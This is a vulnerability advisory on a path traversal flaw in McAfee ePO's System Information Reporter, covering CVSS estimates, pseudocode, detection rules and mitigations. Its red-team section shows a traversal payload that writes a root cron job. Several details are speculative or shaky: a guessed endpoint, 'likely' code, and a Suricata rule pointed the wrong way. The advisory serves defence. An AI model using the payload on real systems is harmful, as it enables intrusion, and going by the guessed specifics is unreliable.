CVE-2025-3722

Executive Summary

CVE-2025-3722 is a path traversal vulnerability in McAfee System Information Reporter (SIR) version 1.0.3 and prior. An authenticated high-privileged user can craft malicious ePolicy Orchestrator (ePO) POST requests to SIR, leading to arbitrary file creation, overwriting of existing files, and potential sensitive information disclosure. The vulnerability resides in the SIR component's handling of file paths, allowing an attacker to traverse directories outside the intended scope. No public exploit code or patch is currently available, and the CVSS score is listed as 0.0, indicating incomplete assessment. The EPSS score is 0.0%, suggesting low exploitation likelihood at this time, but the impact is severe due to potential data exposure and system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects McAfee ePolicy Orchestrator's System Information Reporter component, which is a proprietary enterprise security management tool.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or incomplete assessment. Based on the description, the vulnerability would likely score high due to:

• Attack Vector (AV): Network (N) – exploitable via ePO POST requests.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): High (H) – requires authenticated high-privileged user.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): High (H) – sensitive information disclosure.
• Integrity (I): High (H) – file overwriting possible.
• Availability (A): Low (L) – could affect system stability.

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:L (Score: 6.5 Medium)

Deep Dive & Mechanics

The System Information Reporter (SIR) component in McAfee ePolicy Orchestrator (ePO) is designed to collect and report system information. The vulnerability arises from improper validation of file paths in POST requests. An authenticated high-privileged user can manipulate the path parameter (or similar) to include directory traversal sequences (e.g., ../) to write files outside the intended directory.

Root Cause: The application fails to sanitize user-supplied input for file paths, allowing traversal to arbitrary locations on the filesystem.

Attack Flow:

1. Attacker authenticates to ePO with high-privileged credentials.
2. Attacker sends a crafted POST request to the SIR endpoint with a malicious path parameter.
3. The SIR component writes the attacker-controlled content to the specified path, potentially overwriting critical system files or creating new files.
4. This can lead to code execution (if overwriting executables), data exfiltration (by writing to web-accessible directories), or denial of service.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely resembles:

# Vulnerable pseudocode
def handle_sir_request(request):
    path = request.POST.get('path')
    content = request.POST.get('content')
    # No validation of path
    with open(path, 'w') as f:
        f.write(content)

A patched version would include path validation:

# Patched pseudocode
import os
def handle_sir_request(request):
    path = request.POST.get('path')
    content = request.POST.get('content')
    # Validate path is within allowed directory
    allowed_dir = '/var/sir/data/'
    full_path = os.path.normpath(os.path.join(allowed_dir, path))
    if not full_path.startswith(allowed_dir):
        raise PermissionError("Invalid path")
    with open(full_path, 'w') as f:
        f.write(content)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to McAfee ePO with high-privileged credentials.
• Network access to the ePO server.

Exploitation Steps:

1. Identify the SIR endpoint (e.g., /SIR/api/v1/report).
2. Craft a POST request with path traversal:

   POST /SIR/api/v1/report HTTP/1.1
   Host: target-epo-server
   Authorization: Bearer <token>
   Content-Type: application/x-www-form-urlencoded
   
   path=../../../../etc/cron.d/malicious&content=* * * * * root /bin/bash -c 'echo "pwned" > /tmp/pwned'
   

3. The file is written to /etc/cron.d/malicious, triggering a cron job.
4. Alternatively, overwrite a web-accessible file to exfiltrate data.

Lab Setup:

• Use a vulnerable McAfee ePO instance (version with SIR 1.0.3).
• Set up a test environment with network access.
• Use Burp Suite or curl for crafting requests.

Blue Team

Detection:

• Monitor for POST requests to SIR endpoints with suspicious path parameters containing ../ or absolute paths.
• Alert on file creation/modification outside expected SIR directories (e.g., /var/sir/data/).
• Review ePO logs for unusual SIR activity.

Hunting:

• Search for files created by the SIR process in unexpected locations.
• Check for cron jobs or startup scripts that were not present before.

Indicators of Compromise (IOCs)

• File Paths: /etc/cron.d/*, /tmp/*, /var/www/html/* (unexpected files)
• Network: POST requests to /SIR/api/v1/report with path parameter containing ../
• Process: SIR process writing to unusual directories
• Logs: ePO audit logs showing SIR file creation events

Detection Engineering

YARA Rule

rule CVE_2025_3722_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in SIR POST requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3722"
    strings:
        $path_traversal = /path=.*\.\.\// nocase
        $sir_endpoint = /\/SIR\/api\/v1\/report/ nocase
    condition:
        $sir_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-3722 Path Traversal in McAfee SIR
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in SIR POST requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/SIR/api/v1/report'
        cs-uri-query|contains: 'path='
    filter:
        cs-uri-query|contains: 'path=../'
    condition: selection and filter
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-3722 Path Traversal in McAfee SIR"; flow:to_server,established; content:"POST"; http_method; content:"/SIR/api/v1/report"; http_uri; content:"path="; http_client_body; content:"../"; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict access to SIR endpoints to only trusted IPs.
2. Implement strict input validation on the path parameter (allow only alphanumeric and specific characters).
3. Monitor ePO logs for suspicious SIR activity.

Long-term:

• Apply vendor patch when available.
• Upgrade to a patched version of SIR.
• Implement file integrity monitoring on critical system files.
• Use a WAF to block path traversal patterns.

Workaround:

• Disable the SIR component if not needed.
• Use filesystem permissions to restrict write access for the SIR process.

Valters IT